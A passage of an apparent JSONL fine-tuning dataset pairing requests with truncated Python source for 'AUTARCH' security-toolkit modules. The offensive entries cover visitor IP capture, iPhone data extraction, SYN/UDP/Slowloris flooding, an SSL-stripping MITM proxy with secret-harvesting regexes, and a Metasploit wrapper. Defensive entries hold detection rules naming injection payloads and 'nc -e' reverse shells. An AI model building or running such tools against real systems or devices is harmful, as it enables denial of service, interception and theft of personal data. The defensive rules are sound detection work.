random key.\"\"\"\n chars = string.ascii_lowercase + string.digits\n return ''.join(random.choices(chars, k=length))\n\n\n# ── IP Capture Service ───────────────────────────────────────────────────────\n\nclass IPCaptureService:\n \"\"\"Manage capture links and record visitor metadata.\"\"\"\n\n def __init__(self):\n self._file = os.path.join(get_data_dir(), 'osint_captures.json')\n self._links = {}\n self._lock = threading.Lock()\n self._load()\n\n def _load(self):\n if os.path.exists(self._file):\n try:\n with open(self._file, 'r') as f:\n self
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'hardware' category that iphone usb exploitation (info, backup, extract, apps, profiles). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: iphone_local\nCategory: hardware\nDescription: iPhone USB exploitation (info, backup, extract, apps, profiles)", "output": "\"\"\"\niPhone Local USB - Device access via libimobiledevice\n\"\"\"\n\nDESCRIPTION = \"iPhone USB exploitation (info, backup, extract, apps, profiles)\"\nAUTHOR = \"AUTARCH\"\nVERSION = \"1.0\"\nCATEGORY = \"hardware\"\n\nimport sys\nfrom pathlib import Path\nsys.path.insert(0, str(Path(__file__).resolve().parent.parent))\n\n\nclass IPhoneLocal:\n \"\"\"Interactive menu for iPhone USB device access.\"\"\"\n\n def __init__(self):\n from core.iphone_exploit import get_iphone_manager\n self.mgr = get_iphone_manager()\n self.udid = None\n\n def _select_device(self):\n devices = self.mgr.list_devices()\n if not devices:\n print(\" No iOS devices connected.\")\n return\n if len(devices) == 1:\n self.udid = devices[0]['udid']\n print(f\" Selected: {devices[0].get('name','')} ({self.udid[:12]}...)\")\n return\n print(\"\\n Select device:\")\n for i, d in enumerate(devices, 1):\n print(f\" {i}) {d.get('name','')} - {d.get('model','')} iOS {d.get('ios_version','')} [{d['udid'][:12]}...]\")\n try:\n choice = int(input(\" > \").strip())\n if 1 <= choice <= len(devices):\n self.udid = devices[choice - 1]['udid']\n except (ValueError, EOFError, KeyboardInterrupt):\n pass\n\n def _ensure_device(self):\n if not self.udid:\n self._select_device()\n return self.udid is not None\n\n def show_menu(self):\n status = self.mgr.get_status()\n print(f\"\\n{'='*60}\")\n print(\" iPhone USB Exploitation\")\n print(f\"{'='*60}\")\n print(f\" Tools: {status['found']}/{status['total']} available\")\n print(f\" Device: {self.udid[:16] + '...' if self.udid else '(none)'}\")\n print()\n print(\" ── Device ──\")\n print(\" [1] List Devices\")\n print(\" [2] Device Info\")\n print(\" [3] Full Fingerprint\")\n print(\" [4] Pair / Validate\")\n print(\" [5] Get/Set Device Name\")\n print(\" [6] Restart / Shutdown / Sleep\")\n print()\n print(\" ── Capture ──\")\n print(\" [10] Screenshot\")\n print(\" [11] Syslog Dump\")\n print(\" [12] Syslog Grep (sensitive)\")\n print(\" [13] Crash Reports\")\n print()\n print(\" ── Apps ──\")\n print(\" [20] List Apps\")\n print(\" [21] Install IPA\")\n print(\" [22] Uninstall App\")\n print()\n print(\" ── Backup & Extraction ──\")\n print(\" [30] Create Backup\")\n print(\" [31] List Backups\")\n print(\" [32] Extract SMS/iMessage\")\n print(\" [33] Extract Contacts\")\n print(\" [34] Extract Call Log\")\n print(\" [35] Extract Notes\")\n print(\" [36] Browse Backup Files\")\n print(\" [37] Extract Backup File\")\n print()\n print(\" ── Filesystem & Profiles ──\")\n print(\" [40] Mount Filesystem (ifuse)\")\n print(\" [41] Mount App Documents\")\n print(\" [42] Unmount\")\n print(\" [43] List Profiles\")\n print(\" [44] Install Profile\")\n print(\" [45] Remove Profile\")\n print()\n print(\" ── Network ──\")\n print(\" [50] Port Forward (iproxy)\")\n print(\" [51] Export Recon Report\")\n print()\n print(\" [s] Select Device\")\n print(\" [0] Back\")\n print()\n\n def _pick_backup(self):\n backups = self.mgr.list_backups(
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'analyze' category that llm fine-tuning & gguf training pipeline. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: llm_trainer\nCategory: analyze\nDescription: LLM fine-tuning & GGUF training pipeline", "output": "\"\"\"\nAUTARCH LLM Trainer Module\nFine-tune language models on the AUTARCH codebase and convert to GGUF.\n\nGenerates training datasets from source code, trains LoRA adapters,\nmerges weights, and quantizes to GGUF format for local inference.\n\"\"\"\n\nimport os\nimport sys\nimport subprocess\nimport json\nimport re\nimport ast\nimport time\nimport platform\nimport shutil\nfrom pathlib import Path\nfrom datetime import datetime\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\n# Module metadata\nDESCRIPTION = \"LLM fine-tuning & GGUF training pipeline\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"analyze\"\n\n_is_win = platform.system() == 'Windows'\n_PROJECT_ROOT = Path(__file__).parent.parent\n_DATA_DIR = _PROJECT_ROOT / 'data'\n_MODELS_DIR = _PROJECT_ROOT / 'models'\n_TRAINING_DIR = _DATA_DIR / 'training'\n\n\nclass LLMTrainer:\n \"\"\"Fine-tuning pipeline: dataset generation, LoRA training, GGUF conversion.\"\"\"\n\n def __init__(self):\n self._training_dir = _TRAINING_DIR\n self._training_dir.mkdir(parents=True, exist_ok=True)\n self._models_dir = _MODELS_DIR\n self._project_root = _PROJECT_ROOT\n self._status = {\n 'phase': 'idle',\n 'progress': 0,\n 'message': '',\n 'log': [],\n }\n self._training_process = None\n\n def _log(self, msg, level='info'):\n entry = {'time': datetime.now().strftime('%H:%M:%S'), 'msg': msg, 'level': level}\n self._status['log'].append(entry)\n # Keep last 200 entries\n if len(self._status['log']) > 200:\n self._status['log'] = self._status['log'][-200:]\n\n def get_status(self):\n return dict(self._status)\n\n # ==================== DEPENDENCY CHECK ====================\n\n def check_dependencies(self):\n \"\"\"Check what training dependencies are installed.\"\"\"\n deps = {}\n checks = {\n 'torch': 'import torch; print(torch.__version__)',\n 'transformers': 'import transformers; print(transformers.__version__)',\n 'peft': 'import peft; print(peft.__version__)',\n 'datasets': 'import datasets; print(datasets.__version__)',\n 'unsloth': 'import unsloth; print(unsloth.__version__)',\n 'bitsandbytes': 'import bitsandbytes; print(bitsandbytes.__version__)',\n 'trl': 'import trl; print(trl.__version__)',\n 'accelerate': 'import accelerate; print(accelerate.__version__)',\n }\n for name, cmd in checks.items():\n try:\n result = subprocess.run(\n [sys.executable, '-c', cmd],\n capture_output=True, text=True, timeout=15\n )\n if result.returncode == 0:\n deps[name] = {'installed': True, 'version': result.stdout.strip()}\n else:\n deps[name] = {'installed': False, 'version': None}\n except Exception:\n deps[name] = {'installed': False, 'version': None}\n\n # Check for llama.cpp convert script\n llama_cpp_paths = [\n _PROJECT_ROOT / 'tools' / 'llama.cpp',\n Path.home() / 'llama.cpp',\n Path('/usr/local/bin/llama-quantize'),\n ]\n deps['llama_cpp'] = {'installed': False, 'path': None}\n for p in llama_cpp_paths:\n if p.exists():\n deps['llama_cpp'] = {'installed': True, 'path': str(p)}\n break\n\n # Check GPU\n try:\n result = subprocess.run(\n [sys.executable, '-c',\n 'import torch; print(torch.cuda.i
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that load & stress testing toolkit. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: loadtest\nCategory: offense\nDescription: Load & stress testing toolkit", "output": "\"\"\"AUTARCH Load Testing Module\n\nMulti-protocol load/stress testing tool combining features from\nApache Bench, Locust, k6, wrk, Slowloris, and HULK.\n\nSupports: HTTP/HTTPS GET/POST/PUT/DELETE, Slowloris, SYN flood,\nUDP flood, TCP connect flood, with real-time metrics and ramp-up patterns.\n\"\"\"\n\nDESCRIPTION = \"Load & stress testing toolkit\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nimport time\nimport threading\nimport random\nimport string\nimport socket\nimport ssl\nimport struct\nimport queue\nimport json\nimport statistics\nfrom dataclasses import dataclass, field\nfrom typing import Dict, List, Optional, Any\nfrom enum import Enum\nfrom collections import deque\nfrom urllib.parse import urlparse\n\n# Optional: requests for HTTP tests\ntry:\n import requests\n from requests.adapters import HTTPAdapter\n REQUESTS_AVAILABLE = True\nexcept ImportError:\n REQUESTS_AVAILABLE = False\n\n\nclass AttackType(Enum):\n HTTP_FLOOD = \"http_flood\"\n HTTP_SLOWLORIS = \"slowloris\"\n TCP_CONNECT = \"tcp_connect\"\n UDP_FLOOD = \"udp_flood\"\n SYN_FLOOD = \"syn_flood\"\n\n\nclass RampPattern(Enum):\n CONSTANT = \"constant\" # All workers at once\n LINEAR = \"linear\" # Gradually add workers\n STEP = \"step\" # Add workers in bursts\n SPIKE = \"spike\" # Burst → sustain → burst\n\n\n@dataclass\nclass RequestResult:\n status_code: int = 0\n latency_ms: float = 0.0\n bytes_sent: int = 0\n bytes_received: int = 0\n success: bool = False\n error: str = \"\"\n timestamp: float = 0.0\n\n\n@dataclass\nclass TestMetrics:\n \"\"\"Live metrics for a running load test.\"\"\"\n total_requests: int = 0\n successful: int = 0\n failed: int = 0\n bytes_sent: int = 0\n bytes_received: int = 0\n start_time: float = 0.0\n elapsed: float = 0.0\n active_workers: int = 0\n status_codes: Dict[int, int] = field(default_factory=dict)\n latencies: List[float] = field(default_factory=list)\n errors: Dict[str, int] = field(default_factory=dict)\n rps_history: List[float] = field(default_factory=list)\n\n @property\n def rps(self) -> float:\n if self.elapsed <= 0:\n return 0.0\n return self.total_requests / self.elapsed\n\n @property\n def avg_latency(self) -> float:\n return statistics.mean(self.latencies) if self.latencies else 0.0\n\n @property\n def p50_latency(self) -> float:\n if not self.latencies:\n return 0.0\n s = sorted(self.latencies)\n return s[len(s) // 2]\n\n @property\n def p95_latency(self) -> float:\n if not self.latencies:\n return 0.0\n s = sorted(self.latencies)\n return s[int(len(s) * 0.95)]\n\n @property\n def p99_latency(self) -> float:\n if not self.latencies:\n return 0.0\n s = sorted(self.latencies)\n return s[int(len(s) * 0.99)]\n\n @property\n def max_latency(self) -> float:\n return max(self.latencies) if self.latencies else 0.0\n\n @property\n def min_latency(self) -> float:\n return min(self.latencies) if self.latencies else 0.0\n\n @property\n def success_rate(self) -> float:\n if self.total_requests <= 0:\n return 0.0\n return (self.successful / self.total_requests) * 100\n\n @property\n def error_rate(self) -> float:\n if self.total_requests <= 0:\n return 0.0\n return (self.failed / self.total_requests) * 100\n\n def to_dict(self) -> dict:\n return {\n 'total_requests': self.total_requests,\n 'successful': self.successful,\n 'f
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'defense' category that log correlation & anomaly detection (mini-siem). The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: log_correlator\nCategory: defense\nDescription: Log correlation & anomaly detection (mini-SIEM)", "output": "\"\"\"AUTARCH Log Correlator\n\nSyslog ingestion, pattern matching, anomaly detection, alert rules,\ntimeline correlation, and mini-SIEM functionality.\n\"\"\"\n\nDESCRIPTION = \"Log correlation & anomaly detection (mini-SIEM)\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"defense\"\n\nimport os\nimport re\nimport json\nimport time\nimport threading\nfrom pathlib import Path\nfrom datetime import datetime, timezone\nfrom collections import Counter, defaultdict\nfrom typing import Dict, List, Optional, Any\n\ntry:\n from core.paths import get_data_dir\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n\n# ── Built-in Detection Rules ────────────────────────────────────────────────\n\nDEFAULT_RULES = [\n {\n 'id': 'brute_force_ssh',\n 'name': 'SSH Brute Force',\n 'pattern': r'(Failed password|authentication failure).*ssh',\n 'severity': 'high',\n 'threshold': 5,\n 'window_seconds': 60,\n 'description': 'Multiple failed SSH login attempts'\n },\n {\n 'id': 'brute_force_web',\n 'name': 'Web Login Brute Force',\n 'pattern': r'(401|403).*POST.*(login|auth|signin)',\n 'severity': 'high',\n 'threshold': 10,\n 'window_seconds': 60,\n 'description': 'Multiple failed web login attempts'\n },\n {\n 'id': 'sql_injection',\n 'name': 'SQL Injection Attempt',\n 'pattern': r\"(UNION\\s+SELECT|OR\\s+1\\s*=\\s*1|DROP\\s+TABLE|'--|\\bSLEEP\\()\",\n 'severity': 'critical',\n 'threshold': 1,\n 'window_seconds': 0,\n 'description': 'SQL injection pattern detected'\n },\n {\n 'id': 'xss_attempt',\n 'name': 'XSS Attempt',\n 'pattern': r'(<script|javascript:|onerror=|onload=|<svg\\s+onload)',\n 'severity': 'high',\n 'threshold': 1,\n 'window_seconds': 0,\n 'description': 'Cross-site scripting pattern detected'\n },\n {\n 'id': 'path_traversal',\n 'name': 'Path Traversal',\n 'pattern': r'(\\.\\./|\\.\\.\\\\|%2e%2e)',\n 'severity': 'high',\n 'threshold': 1,\n 'window_seconds': 0,\n 'description': 'Directory traversal attempt'\n },\n {\n 'id': 'priv_escalation',\n 'name': 'Privilege Escalation',\n 'pattern': r'(sudo|su\\s+-|pkexec|gpasswd|usermod.*-G.*sudo)',\n 'severity': 'medium',\n 'threshold': 3,\n 'window_seconds': 300,\n 'description': 'Multiple privilege escalation attempts'\n },\n {\n 'id': 'port_scan',\n 'name': 'Port Scan Detected',\n 'pattern': r'(connection refused|reset by peer|SYN_RECV)',\n 'severity': 'medium',\n 'threshold': 20,\n 'window_seconds': 10,\n 'description': 'Rapid connection attempts indicate scanning'\n },\n {\n 'id': 'suspicious_download',\n 'name': 'Suspicious Download',\n 'pattern': r'(wget|curl|python.*http|nc\\s+-e)',\n 'severity': 'medium',\n 'threshold': 1,\n 'window_seconds': 0,\n 'description': 'Potential malicious download or reverse shell'\n },\n {\n 'id': 'service_crash',\n 'name': 'Service Crash',\n 'pattern': r'(segfault|core dumped|out of memory|killed process)',\n 'severity': 'high',\n 'threshold': 1,\n 'window_seconds': 0,\n 'description': 'Service crash or OOM event'\n },\n {\n 'id': 'root_login',\n 'name': 'Root Login',\n 'pattern': r'(session
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'analyze' category that malware detonation sandbox & analysis. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: malware_sandbox\nCategory: analyze\nDescription: Malware detonation sandbox & analysis", "output": "\"\"\"AUTARCH Malware Sandbox\n\nIsolated sample detonation (Docker-based), behavior logging, API call tracing,\nnetwork activity monitoring, and file system change tracking.\n\"\"\"\n\nDESCRIPTION = \"Malware detonation sandbox & analysis\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"analyze\"\n\nimport os\nimport re\nimport json\nimport time\nimport shutil\nimport hashlib\nimport subprocess\nimport threading\nfrom pathlib import Path\nfrom datetime import datetime, timezone\nfrom typing import Dict, List, Optional, Any\n\ntry:\n from core.paths import find_tool, get_data_dir\nexcept ImportError:\n def find_tool(name):\n return shutil.which(name)\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n\n# ── YARA Rules (basic) ──────────────────────────────────────────────────────\n\nBASIC_YARA_INDICATORS = {\n 'suspicious_imports': [\n b'CreateRemoteThread', b'VirtualAllocEx', b'WriteProcessMemory',\n b'NtQueryInformationProcess', b'IsDebuggerPresent',\n b'GetProcAddress', b'LoadLibraryA', b'ShellExecuteA',\n ],\n 'crypto_indicators': [\n b'CryptEncrypt', b'CryptDecrypt', b'BCryptEncrypt',\n b'AES', b'RSA', b'BEGIN PUBLIC KEY',\n ],\n 'network_indicators': [\n b'InternetOpenA', b'HttpOpenRequestA', b'URLDownloadToFile',\n b'WSAStartup', b'connect', b'send', b'recv',\n b'http://', b'https://', b'ftp://',\n ],\n 'persistence_indicators': [\n b'CurrentVersion\\\\Run', b'SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion',\n b'schtasks', b'at.exe', b'HKEY_LOCAL_MACHINE', b'HKEY_CURRENT_USER',\n b'crontab', b'/etc/cron',\n ],\n 'evasion_indicators': [\n b'IsDebuggerPresent', b'CheckRemoteDebuggerPresent',\n b'NtSetInformationThread', b'vmware', b'virtualbox', b'vbox',\n b'sandbox', b'SbieDll.dll',\n ],\n}\n\n\n# ── Sandbox Engine ───────────────────────────────────────────────────────────\n\nclass MalwareSandbox:\n \"\"\"Isolated malware analysis environment.\"\"\"\n\n def __init__(self):\n self.data_dir = os.path.join(get_data_dir(), 'sandbox')\n os.makedirs(self.data_dir, exist_ok=True)\n self.samples_dir = os.path.join(self.data_dir, 'samples')\n os.makedirs(self.samples_dir, exist_ok=True)\n self.reports_dir = os.path.join(self.data_dir, 'reports')\n os.makedirs(self.reports_dir, exist_ok=True)\n\n self.docker = find_tool('docker') or shutil.which('docker')\n self.strace = shutil.which('strace')\n self.ltrace = shutil.which('ltrace')\n self.file_cmd = shutil.which('file')\n self.strings_cmd = find_tool('strings') or shutil.which('strings')\n\n self.analyses: List[Dict] = []\n self._jobs: Dict[str, Dict] = {}\n\n def get_status(self) -> Dict:\n \"\"\"Get sandbox capabilities.\"\"\"\n docker_ok = False\n if self.docker:\n try:\n result = subprocess.run([self.docker, 'info'],\n capture_output=True, timeout=5)\n docker_ok = result.returncode == 0\n except Exception:\n pass\n\n return {\n 'docker': docker_ok,\n 'strace': self.strace is not None,\n 'ltrace': self.ltrace is not None,\n 'file': self.file_cmd is not None,\n 'strings': self.strings_cmd is not None,\n
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that http(s) interception proxy & traffic analysis. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: mitm_proxy\nCategory: offense\nDescription: HTTP(S) interception proxy & traffic analysis", "output": "\"\"\"\nAUTARCH MITM Proxy\n\nHTTP/HTTPS interception proxy with SSL stripping, request/response\nmodification, traffic logging, WebSocket interception, and upstream chaining.\n\"\"\"\n\nimport os\nimport sys\nimport re\nimport json\nimport time\nimport signal\nimport socket\nimport ssl\nimport threading\nimport subprocess\nimport uuid\nimport http.server\nimport urllib.request\nimport urllib.parse\nfrom pathlib import Path\nfrom datetime import datetime\nfrom http.client import HTTPConnection, HTTPSConnection\n\n# Module metadata\nDESCRIPTION = \"HTTP(S) interception proxy & traffic analysis\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"offense\"\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\nfrom core.banner import Colors, clear_screen, display_banner\n\ntry:\n from core.paths import get_data_dir, find_tool\nexcept ImportError:\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n def find_tool(name):\n import shutil\n return shutil.which(name)\n\n\n# ── Secret detection patterns ────────────────────────────────────────────\n\nSECRET_PATTERNS = [\n (r'(?i)(?:api[_-]?key|apikey)\\s*[:=]\\s*[\"\\']?([A-Za-z0-9_\\-]{16,})', 'API Key'),\n (r'(?i)(?:auth(?:orization)?|bearer)\\s*[:=]\\s*[\"\\']?([A-Za-z0-9_\\-\\.]{16,})', 'Auth Token'),\n (r'(?i)(?:password|passwd|pwd)\\s*[:=]\\s*[\"\\']?(\\S{4,})', 'Password'),\n (r'(?i)(?:secret|client_secret)\\s*[:=]\\s*[\"\\']?([A-Za-z0-9_\\-]{16,})', 'Secret'),\n (r'(?i)(?:token|access_token|refresh_token)\\s*[:=]\\s*[\"\\']?([A-Za-z0-9_\\-\\.]{16,})', 'Token'),\n (r'(?i)(?:aws_access_key_id)\\s*[:=]\\s*[\"\\']?(AKIA[A-Z0-9]{16})', 'AWS Key'),\n (r'(?i)(?:aws_secret_access_key)\\s*[:=]\\s*[\"\\']?([A-Za-z0-9/+=]{40})', 'AWS Secret'),\n (r'(?i)(sk-[A-Za-z0-9]{32,})', 'OpenAI Key'),\n (r'(?i)(ghp_[A-Za-z0-9]{36,})', 'GitHub PAT'),\n (r'(?i)(glpat-[A-Za-z0-9_\\-]{20,})', 'GitLab PAT'),\n (r'(?i)(?:session|sess_id|sessionid)\\s*[:=]\\s*[\"\\']?([A-Za-z0-9_\\-]{16,})', 'Session ID'),\n (r'(?i)(?:cookie)\\s*[:=]\\s*[\"\\']?(\\S{16,})', 'Cookie'),\n (r'Authorization:\\s*(Basic\\s+[A-Za-z0-9+/=]+)', 'Basic Auth Header'),\n (r'Authorization:\\s*(Bearer\\s+[A-Za-z0-9_\\-\\.]+)', 'Bearer Auth Header'),\n (r'(?i)(?:private[_-]?key)\\s*[:=]\\s*[\"\\']?(\\S{16,})', 'Private Key'),\n (r'(?i)(eyJ[A-Za-z0-9_\\-]+\\.eyJ[A-Za-z0-9_\\-]+\\.[A-Za-z0-9_\\-]+)', 'JWT Token'),\n]\n\n_COMPILED_SECRETS = [(re.compile(p), label) for p, label in SECRET_PATTERNS]\n\n\n# ── Built-in Proxy Handler ───────────────────────────────────────────────\n\nclass _ProxyRequestHandler(http.server.BaseHTTPRequestHandler):\n \"\"\"HTTP proxy request handler that logs traffic and applies rules.\"\"\"\n\n # Shared state — set by MITMProxy before starting the server\n mitm = None\n\n def log_message(self, fmt, *args):\n \"\"\"Suppress default stderr logging.\"\"\"\n pass\n\n def _get_upstream(self):\n \"\"\"Return (host, port) for upstream proxy or None.\"\"\"\n if self.mitm and self.mitm._upstream_proxy:\n return self.mitm._upstream_proxy\n return None\n\n def _read_body(self):\n \"\"\"Read request body if Content-Length is present.\"\"\"\n length = self.headers.get('Content-Length')\n if length:\n try:\n return self.rfile.read(int(length))\n except Exception:\n return b''\n return b''\n\n def _apply_
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'offense' category that metasploit framework interface. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: msf\nCategory: offense\nDescription: Metasploit Framework interface", "output": "\"\"\"\nAUTARCH Metasploit Module\nEnhanced interface for Metasploit Framework with module browser.\n\nProvides easy access to MSF modules, exploits, and sessions.\nUses the centralized MSF interface from core/msf_interface.py.\nIntegrates with msf_terms.py and msf_modules.py for descriptions.\n\"\"\"\n\nimport sys\nimport os\nimport re\nimport json\nimport time\nimport socket\nfrom pathlib import Path\nfrom typing import Dict, List, Optional, Any\n\n# Module metadata\nDESCRIPTION = \"Metasploit Framework interface\"\nAUTHOR = \"darkHal\"\nVERSION = \"2.0\"\nCATEGORY = \"offense\"\n\n# Add parent directory to path\nsys.path.insert(0, str(Path(__file__).parent.parent))\n\nfrom core.msf_interface import get_msf_interface\nfrom core.banner import Colors, clear_screen, display_banner\nfrom core.msf_terms import get_setting_info, get_setting_prompt, format_setting_help, validate_setting_value\nfrom core.msf_modules import (\n get_module_info as get_library_module_info,\n get_module_description,\n search_modules as library_search_modules,\n get_modules_by_type,\n format_module_help,\n MSF_MODULES\n)\n\n\nclass MSFMenu:\n \"\"\"Enhanced Metasploit menu interface with module browser.\"\"\"\n\n # Module categories for browsing\n MODULE_CATEGORIES = {\n 'scanners': {\n 'name': 'Scanners',\n 'description': 'Network and vulnerability scanners',\n 'types': ['auxiliary/scanner'],\n 'color': Colors.CYAN\n },\n 'exploits': {\n 'name': 'Exploits',\n 'description': 'Remote and local exploits',\n 'types': ['exploit'],\n 'color': Colors.RED\n },\n 'post': {\n 'name': 'Post-Exploitation',\n 'description': 'Post-exploitation modules',\n 'types': ['post'],\n 'color': Colors.MAGENTA\n },\n 'payloads': {\n 'name': 'Payloads',\n 'description': 'Payload generators',\n 'types': ['payload'],\n 'color': Colors.YELLOW\n },\n 'auxiliary': {\n 'name': 'Auxiliary',\n 'description': 'Other auxiliary modules',\n 'types': ['auxiliary'],\n 'color': Colors.GREEN\n }\n }\n\n def __init__(self):\n self.msf = get_msf_interface()\n self.current_module = None\n self.current_module_type = None\n self.module_options = {}\n\n # Global target settings - persist across module selections\n self.global_settings = {\n 'RHOSTS': '',\n 'LHOST': '',\n 'LPORT': '4444',\n }\n\n def print_status(self, message: str, status: str = \"info\"):\n \"\"\"Print a status message.\"\"\"\n colors = {\"info\": Colors.CYAN, \"success\": Colors.GREEN, \"warning\": Colors.YELLOW, \"error\": Colors.RED}\n symbols = {\"info\": \"*\", \"success\": \"+\", \"warning\": \"!\", \"error\": \"X\"}\n print(f\"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}\")\n\n def wrap_text(self, text: str, width: int = 60, indent: str = \" \") -> str:\n \"\"\"Word-wrap text with indent for subsequent lines.\"\"\"\n words = text.split()\n lines = []\n current_line = \"\"\n\n for word in words:\n if len(current_line) + len(word) + 1 <= width:\n current_line += (\" \" if current_line else \"\") + word\n else:\n if current_line:\n lines.append(current_line)\n current_line = word\n\n if current_line:\n lines.append(current_line)\n\n return f\"\\n{indent}\".join(li
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'defense' category that system audit with cve detection & auto-fix. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: mysystem\nCategory: defense\nDescription: System audit with CVE detection & auto-fix", "output": "\"\"\"\nAUTARCH My System Module\nComprehensive system security audit with CVE detection and remediation\n\nPerforms full system audit, saves results, and offers LLM-assisted or manual fixes.\n\"\"\"\n\nimport os\nimport sys\nimport json\nimport subprocess\nimport socket\nfrom pathlib import Path\nfrom datetime import datetime\nfrom typing import Optional, List, Dict, Any\n\n# Module metadata\nDESCRIPTION = \"System audit with CVE detection & auto-fix\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"defense\"\n\nsys.path.insert(0, str(Path(__file__).parent.parent))\nfrom core.banner import Colors, clear_screen, display_banner\nfrom core.config import get_config\nfrom core.cve import get_cve_db\n\n\nclass SecurityIssue:\n \"\"\"Represents a security issue found during audit.\"\"\"\n\n SEVERITY_COLORS = {\n 'CRITICAL': Colors.RED,\n 'HIGH': Colors.RED,\n 'MEDIUM': Colors.YELLOW,\n 'LOW': Colors.CYAN,\n 'INFO': Colors.DIM,\n }\n\n def __init__(\n self,\n name: str,\n description: str,\n severity: str,\n category: str,\n fix_command: str = None,\n fix_instructions: str = None,\n cve_ids: List[str] = None\n ):\n self.name = name\n self.description = description\n self.severity = severity.upper()\n self.category = category\n self.fix_command = fix_command\n self.fix_instructions = fix_instructions\n self.cve_ids = cve_ids or []\n self.status = \"open\" # open, fixed, ignored\n\n def to_dict(self) -> Dict:\n return {\n 'name': self.name,\n 'description': self.description,\n 'severity': self.severity,\n 'category': self.category,\n 'fix_command': self.fix_command,\n 'fix_instructions': self.fix_instructions,\n 'cve_ids': self.cve_ids,\n 'status': self.status,\n }\n\n @classmethod\n def from_dict(cls, data: Dict) -> 'SecurityIssue':\n issue = cls(\n name=data.get('name', ''),\n description=data.get('description', ''),\n severity=data.get('severity', 'MEDIUM'),\n category=data.get('category', 'general'),\n fix_command=data.get('fix_command'),\n fix_instructions=data.get('fix_instructions'),\n cve_ids=data.get('cve_ids', []),\n )\n issue.status = data.get('status', 'open')\n return issue\n\n\nclass MySystem:\n \"\"\"Comprehensive system security auditor.\"\"\"\n\n @staticmethod\n def _system_inf_path():\n from core.paths import get_app_dir\n return get_app_dir() / \"system.inf\"\n\n def __init__(self):\n self.issues: List[SecurityIssue] = []\n self.system_info: Dict = {}\n self.audit_results: Dict = {}\n self.security_score: int = 100\n self.cve_db = get_cve_db()\n self.llm = None\n\n def print_status(self, message: str, status: str = \"info\"):\n colors = {\n \"info\": Colors.CYAN,\n \"success\": Colors.GREEN,\n \"warning\": Colors.YELLOW,\n \"error\": Colors.RED\n }\n symbols = {\"info\": \"*\", \"success\": \"+\", \"warning\": \"!\", \"error\": \"X\"}\n print(f\"{colors.get(status, Colors.WHITE)}[{symbols.get(status, '*')}] {message}{Colors.RESET}\")\n\n def run_cmd(self, cmd: str, timeout: int = 10) -> tuple:\n \"\"\"Run command and return (success, output).\"\"\"\n try:\n result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout)\n return result.returncode == 0, result.s
|
|||
|
|
{"instruction": "Create an AUTARCH module in the 'analyze' category that network topology discovery & mapping. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.", "input": "Module name: net_mapper\nCategory: analyze\nDescription: Network topology discovery & mapping", "output": "\"\"\"AUTARCH Network Topology Mapper\n\nHost discovery, service enumeration, OS fingerprinting, and visual\nnetwork topology mapping with scan diffing.\n\"\"\"\n\nDESCRIPTION = \"Network topology discovery & mapping\"\nAUTHOR = \"darkHal\"\nVERSION = \"1.0\"\nCATEGORY = \"analyze\"\n\nimport os\nimport re\nimport json\nimport time\nimport socket\nimport struct\nimport threading\nimport subprocess\nfrom pathlib import Path\nfrom datetime import datetime, timezone\nfrom typing import Dict, List, Optional, Any\nfrom dataclasses import dataclass, field\n\ntry:\n from core.paths import find_tool, get_data_dir\nexcept ImportError:\n import shutil\n def find_tool(name):\n return shutil.which(name)\n def get_data_dir():\n return str(Path(__file__).parent.parent / 'data')\n\n\n@dataclass\nclass Host:\n ip: str\n mac: str = ''\n hostname: str = ''\n os_guess: str = ''\n ports: List[dict] = field(default_factory=list)\n state: str = 'up'\n subnet: str = ''\n\n def to_dict(self) -> dict:\n return {\n 'ip': self.ip, 'mac': self.mac, 'hostname': self.hostname,\n 'os_guess': self.os_guess, 'ports': self.ports,\n 'state': self.state, 'subnet': self.subnet,\n }\n\n\nclass NetMapper:\n \"\"\"Network topology discovery and mapping.\"\"\"\n\n def __init__(self):\n self._data_dir = os.path.join(get_data_dir(), 'net_mapper')\n os.makedirs(self._data_dir, exist_ok=True)\n self._active_jobs: Dict[str, dict] = {}\n\n # ── Host Discovery ────────────────────────────────────────────────────\n\n def discover_hosts(self, target: str, method: str = 'auto',\n timeout: float = 3.0) -> dict:\n \"\"\"Discover live hosts on a 